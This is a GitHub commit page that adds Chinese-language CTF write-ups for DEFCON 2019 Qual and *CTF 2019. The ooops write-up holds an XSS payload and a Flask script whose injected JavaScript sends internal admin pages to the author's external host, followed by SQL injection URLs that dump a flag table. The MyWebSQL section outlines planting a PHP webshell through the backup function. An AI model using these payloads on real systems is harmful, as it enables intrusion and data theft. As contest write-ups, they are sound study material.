Skip to content

Commit

Permalink
added star-ctf and defcon-qual
Browse files Browse the repository at this point in the history
  • Loading branch information
w181496 committed May 15, 2019
1 parent eaa0d41 commit 4594c6b
Show file tree
Hide file tree
Showing 9 changed files with 311 additions and 0 deletions.
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,10 @@

## 2019

* [DEFCON CTF 2019 Qual](https://github.com/w181496/CTF/tree/master/defcon2019-qual)

* [\*CTF](https://github.com/w181496/CTF/tree/master/star-ctf-2019)

* [ASIS CTF 2019 Qual](https://github.com/w181496/CTF/tree/master/asis2019-qual)

* [PlaidCTF 2019](https://github.com/w181496/CTF/tree/master/pctf2019)
Expand Down
209 changes: 209 additions & 0 deletions defcon2019-qual/ooops/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,209 @@
# ooops

## info.pac

題目只給這個檔案

裡頭內容:

```javascript
eval((function(){var s=Array.prototype.slice.call(arguments),G=s.shift();return s.reverse().map(function(f,i){return String.fromCharCode(f-G-19-i)}).join('')})(29,202,274,265,261,254,265,251,267,227,179,247,249,260,175,244,252,172,253,239,237,250,214,166,248,237,163,245,244,229,226,225,222,156,233,219,220,152,234,219,218,237,226,222,225,221,212,142,228,219,215,208,219,205,221,213,133,221,207,208,208,128,196,198,177,124,133,137,121,120,97,209,117,125,199,197,192,184,111,122,185,190,192,114,183,183,176,186,168,178,184,168,97,125,95,138,143,145,173,169,127,177,175,165,167,132,151,160,154,118)+(16).toString(36).toLowerCase().split('').map(function(c){return String.fromCharCode(c.charCodeAt()+(-71))}).join('')+(28).toString(36).toLowerCase().split('').map(function(d){return String.fromCharCode(d.charCodeAt()+(-39))}).join('')+(880).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(I){return String.fromCharCode(I.charCodeAt()+(-71))}).join('')+(671).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-71))}).join('')+(1517381).toString(36).toLowerCase()+(16).toString(36).toLowerCase().split('').map(function(W){return String.fromCharCode(W.charCodeAt()+(-71))}).join('')+(31).toString(36).toLowerCase().split('').map(function(x){return String.fromCharCode(x.charCodeAt()+(-39))}).join('')+(30598).toString(36).toLowerCase()+(31).toString(36).toLowerCase().split('').map(function(M){return String.fromCharCode(M.charCodeAt()+(-39))}).join('')+(842).toString(36).toLowerCase()+(function(){var T=Array.prototype.slice.call(arguments),F=T.shift();return T.reverse().map(function(Q,S){return String.fromCharCode(Q-F-18-S)}).join('')})(36,161,205,187,188,200,190,184,154,146,223,226,228,226,210,222,139,147,146,143,214,207,147,219,210,206,199,210,196,212,204,203,202,129,121,132,203,201,196,188,123,186,180,196,176,155,189,196,144,178,188,112,103,172,174,100,99,76,112,106,95,181,172,168,161,172,158,174,134,112)+(11).toString(36).toLowerCase().split('').map(function(H){return String.fromCharCode(H.charCodeAt()+(-39))}).join('')+(1657494275).toString(36).toLowerCase()+(599).toString(36).toLowerCase().split('').map(function(o){return String.fromCharCode(o.charCodeAt()+(-71))}).join('')+(42727).toString(36).toLowerCase().split('').map(function(p){return String.fromCharCode(p.charCodeAt()+(-39))}).join('')+(519).toString(36).toLowerCase().split('').map(function(i){return String.fromCharCode(i.charCodeAt()+(-13))}).join('')+(16).toString(36).toLowerCase().split('').map(function(V){return String.fromCharCode(V.charCodeAt()+(-71))}).join('')+(41462560).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(h){return String.fromCharCode(h.charCodeAt()+(-71))}).join('')+(2103412979233).toString(36).toLowerCase()+(function(){var n=Array.prototype.slice.call(arguments),z=n.shift();return n.reverse().map(function(l,V){return String.fromCharCode(l-z-58-V)}).join('')})(9,190,182,181,180,114,124)+(892604048).toString(36).toLowerCase()+(30).toString(36).toLowerCase().split('').map(function(T){return String.fromCharCode(T.charCodeAt()+(-71))}).join('')+(18).toString(36).toLowerCase()+(function(){var V=Array.prototype.slice.call(arguments),v=V.shift();return V.reverse().map(function(i,Y){return String.fromCharCode(i-v-53-Y)}).join('')})(48,160,212)+(8).toString(36).toLowerCase()+(function(){var q=Array.prototype.slice.call(arguments),b=q.shift();return q.reverse().map(function(X,r){return String.fromCharCode(X-b-11-r)}).join('')})(1,54,62,69,60)+(11).toString(36).toLowerCase().split('').map(function(y){return String.fromCharCode(y.charCodeAt()+(-39))}).join('')+(20).toString(36).toLowerCase().split('').map(function(S){return String.fromCharCode(S.charCodeAt()+(-97))}).join('')+(function(){var u=Array.prototype.slice.call(arguments),r=u.shift();return u.reverse().map(function(e,v){return String.fromCharCode(e-r-55-v)}).join('')})(27,207));
```

`eval`拿掉,可以發現裡頭其實是一個function:

```javascript
FindProxyForURL = function(url, host) {\n /* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */\n if (shExpMatch(host, \'oooverflow.io\')) return \'DIRECT\';return \'PROXY ooops.quals2019.oooverflow.io:8080\';\n}
```
## proxy
裡面告訴我們proxy的帳號和密碼: `OnlyOne:Overflow`
開個瀏覽器,用這組帳密連他的proxy: `ooops.quals2019.oooverflow.io:8080`
然後可以發現只要Request URL帶有`oooverflow`都會變成Unblock Request的頁面
其中`/ooops/d35fs23hu73ds/review.html`可以回報`url`和`justification`
嘗試回報自己的機器,會收到以下Request:
```
GET /test HTTP/1.0
accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
referer: http://10.0.1.101:5000/admin/view/14
user-agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
proxy-authorization: Basic T25seU9uZTpPdmVyZmxvdw==
connection: close
accept-encoding: gzip, deflate
accept-language: en,*
host: kaibro.tw:2222
X-Forwarded-For: 10.0.1.101
```
## XSS
main.js:
```javascript
function split_url(u) {
u = decodeURIComponent(u); // Stringify
output = u[0];
for (i=1;i<u.length;i++) {
output += u[i]
if (i%55==0) output+= "<br/>";
}
console.log(output)
return output
}
window.onload = function () {
d = document.getElementById("blocked");
d.innerHTML=(split_url(document.location) + " is blocked")
}
```
這邊他會把我們的Request path每 `55` 個字元塞一個`<br>`,之後放進`innerHTML`中
很明顯可以XSS
(可以透過`/**/`註解的方式,去搞定中間塞`<br>`的問題)
e.g. `/1111111111111111111<svg/onload="alert();/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/alert(123);">`
不過有個問題,Bot的domain和我們丟給他的`url`要相同,不然Cross-site會沒辦法XSS讀Response
這邊有兩種方法可以讓它Same-origin: 1. DNS Rebindding 2. 利用前面的方式,塞`10.*.*.*/oooverflow`強制讓他訪問Unblock Request頁面去XSS
## Read Response
由於他每次訪問的IP都不同,所以為了要Same-origin,我們必須先抓出`X-Forwarded-For`的來源
再Redirect到這個IP上去做XSS
以下改自@bookgin的腳本:
```python
#!/usr/bin/env python3
from flask import Flask, request, redirect
import base64
app = Flask(__name__)
def genurl(ip): # e.g. 10.1.2.3:5000
def b64e(x):
return base64.b64encode(x.encode()).decode()
host = 'http://'+ip+'/oooverflow'

js = '''
var snd = function(data) {
document.getElementsByTagName('body')[0].appendChild(document.createElement('img')).src='http://kaibro.tw:5000/a?'+data;
}

setInterval(function(){snd('ping');},500+500);

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var txt = xhr.responseText;
snd(btoa(txt));
}
}
xhr.open('GET', 'http://REPLACEME/admin/view/1', true);
xhr.send(null);
'''.replace('REPLACEME', ip)
assert '"' not in js
b64_js = b64e(js)
xss = '<img src=x onerror="eval(atob(\'{}\'))">'.format(b64_js)
delimeter = "'/**/+'"
payload = 'bbbb' # shift 4 bytes
delta = 55 - len(delimeter)
for i in range(0, len(xss), delta):
print(xss[i:i+delta] + delimeter)
payload += xss[i:i+delta] + delimeter
payload = payload[:-len(delimeter)] # remove last delimeter
payload = host.ljust(56, 'a') + payload
return payload

@app.route('/')
def index():
ip = request.environ.get('HTTP_X_FORWARDED_FOR').rsplit(',')[-1]
ip = ip + ':5000'
return redirect(genurl(ip), code=302)

if __name__ == '__main__':
app.run(port=5000, host="0.0.0.0")
```
之後我們只要提交`http://yourdomain:5000`即可收到`/admin/view/1`的Response內容

會收到類似下面的Response:

```html
<!doctype html>
<html>
<head>
<title>OOOPS &mdash; Evaluate Requests</title>
<link href="/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"></head>
<body>
<div class="container">
<div class="row">
<!-- Query: select rowid,* from requests where rowid=1 -->
<p>
Request #1 from 2.
Automatically evaluated
</p>
<a id="lnk" class="btn btn-secondary btn-block btn-lg" href="1">
Visit 1
</a>
</div>
</div>
</body>
</html>
```

可以注意到其中有句註解`<!-- Query: select rowid,* from requests where rowid=1 -->`

看起來87%是要做SQL Injection

## SQL Injection

一樣,從XSS那邊去試著對admin panel做SQL Injection:

訪問: `http://10.*.*.*:5000/admin/view/1 order by 10`

得到:

```
SQL Error: 1st ORDER BY term out of range - should be between 1 and 5
```

所以可以知道欄位個數有 5 個,而且從ERROR Message可以知道是SQLite

<br>

訪問: `http://10.*.*.*:5000/admin/view/1 and 1=2 union select 1,2,3,sql,5 FROM sqlite_master WHERE type='table'`

得到表結構:

```
CREATE TABLE flag (name TEXT, flag TEXT)
```

<br>

訪問: `http://10.*.*.*:5000/admin/view/1 and 1=2 union select 1,2,3,flag,5 FROM flag`

得到flag:

```
OOO{C0rporateIns3curity}
```

Binary file added defcon2019-qual/redacted-puzzle/0.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added defcon2019-qual/redacted-puzzle/1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added defcon2019-qual/redacted-puzzle/2.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
41 changes: 41 additions & 0 deletions defcon2019-qual/redacted-puzzle/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
# Redacted puzzle

這題給我們一個gif圖片

把每個frame拔出來,然後用stegsolver去看,可以看到類似這樣子的多邊形:

![](https://github.com/w181496/CTF/blob/master/defcon2019-qual/0.png)

![](https://github.com/w181496/CTF/blob/master/defcon2019-qual/1.png)

![](https://github.com/w181496/CTF/blob/master/defcon2019-qual/2.png)

第一張Frame更直接告訴我們Flag alphabet

<br>

仔細觀察,可以發現這些多邊形有一些特性,例如邊長似乎只有固定幾種長度

最後猜測,他很有可能是從某個正多邊形(8邊形)去抓幾個點,然後連線畫出這些圖的

把以上線索拼湊之後,可以發現原型應該是個正八邊形

然後,每個圖形會稍微逆時針旋轉

把正八邊形抓的點當作1,沒抓的點當0,然後從左上角開始順時針看

可以發現前幾張圖構成以下的bit string:

0.png: `10001100`
1.png: `01100011`
...

其中`10001` = `17` 重複出現了三次

`alphabet[17] = 'O'`

所以很明顯這就是FLAG

把每張圖抓的bit抓出,然後每五個bit去alphabet抓字元就行惹

`OOO{FORCES-GOVERN+TUBE+FRUIT_GROUP=FALLREMEMBER_WEATHER}`
Binary file added defcon2019-qual/redacted-puzzle/puzzle.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
29 changes: 29 additions & 0 deletions defcon2019-qual/return-to-shellql/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
# Return to shellql (shellretql)

黑人問號的一題

這題跟去年幾乎一樣,Payload可以直接拿來用

shellme.so有上 seccomp ,只能 read / write / exit

然後flag在`/flag`

除了能像去年一樣任意Query Mysql外,找不到其他可以讀檔的洞

Mysql的權限也只有SELECT,沒辦法`load_file`

最後經過漫長的一天半,主辦方維修完之後

發現從`Processlist`就能任意撈到FLAG惹....

`select group_concat(info) from information_schema.processlist;`:

```
( def group_concat(info) U " select "OOO{WaTCH ouT FoR THaT ReTuRN TRiP}", sleep(5),SELECT @query:=0x3a3a UNION SELECT @tmp:=0x20 UNION SELECT benchmark(500000,(@tmp:= (SELECT Group_concat(info) FROM information_schema.processlist WHERE info NOT LIKE 0x7265706c616365 or sleep(0) ))^(IF((@tmp!=0x00)&&(@query NOT LIKE concat(0x253a3a,replace(@tmp,0x0a,0x5c5c6e),0x3a3a25)), @query:=concat(@query,replace(@tmp,0x0a,0x5c6e),0x3a3a),0 ))) UNION SELECT @query limit 3,1,SELECT @query:=0x3a3a UNION SELECT @tmp:=0x20 UNION SELECT benchmark(500000,(@tmp:= (SELECT Group_concat(info) FROM information_schema.processlist WHERE info NOT LIKE 0x7265706c616365 or sleep(0) ))^(IF((@tmp!=0x00)&&(@query NOT LIKE concat(0x253a3a,replace(@tmp,0x0a,0x5c5c6e),0x3a3a25)), @query:=concat(@query,replace(@tmp,0x0a,0x5c6e),0x3a3a),0 ))) UNION SELECT @query limit 3,1,SELECT a.b FROM (SELECT @dummy, @query:='<START>',@tmp:=0x20, benchmark(500000,(@tmp:= (SELECT Group_concat(info) FROM information_schema.processlist WHERE info not like '%dummy%' or sleep(0)))or(IF((@quer "
```

flag: `OOO{WaTCH ouT FoR THaT ReTuRN TRiP}`

(15分鐘內從1隊解,變成20+隊解XD)

貌似韓國隊一開始就是用這招撈到主辦方的Exploit,所以後來主辦直接大放送flag
28 changes: 28 additions & 0 deletions star-ctf-2019/mywebsql/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,28 @@
# MyWebSQL

[English Version](https://balsn.tw/ctf_writeup/20190427-*ctf/#mywebsql)

這題用了MyWebSQL架

搜一下,很容易可以找到3.7版的RCE漏洞:

[https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md](https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md)

RCE步驟:

1. Write PHP code to table
2. Execute Backup database function and set filename to `anything.php`
3. You have a webshell now: `/backups/anything.php`

拿到shell後,`/readflag`還要先解一串隨機運算式才能噴flag

這邊我用`mkfifo`去解決這個問題

```
$ mkfifo pipe
$ cat pipe | /readflag |(read l;read l;echo "$(($l))\n" > pipe;cat)
<dflag ((read l;read l;echo "$(($l))\n" > pipe;cat)
input your answer:
ok! here is your flag!!
`*ctf{h4E9PKLkr6HTO3JcRglVdYaBSA0eDU8y}`
```

0 comments on commit 4594c6b

Please sign in to comment.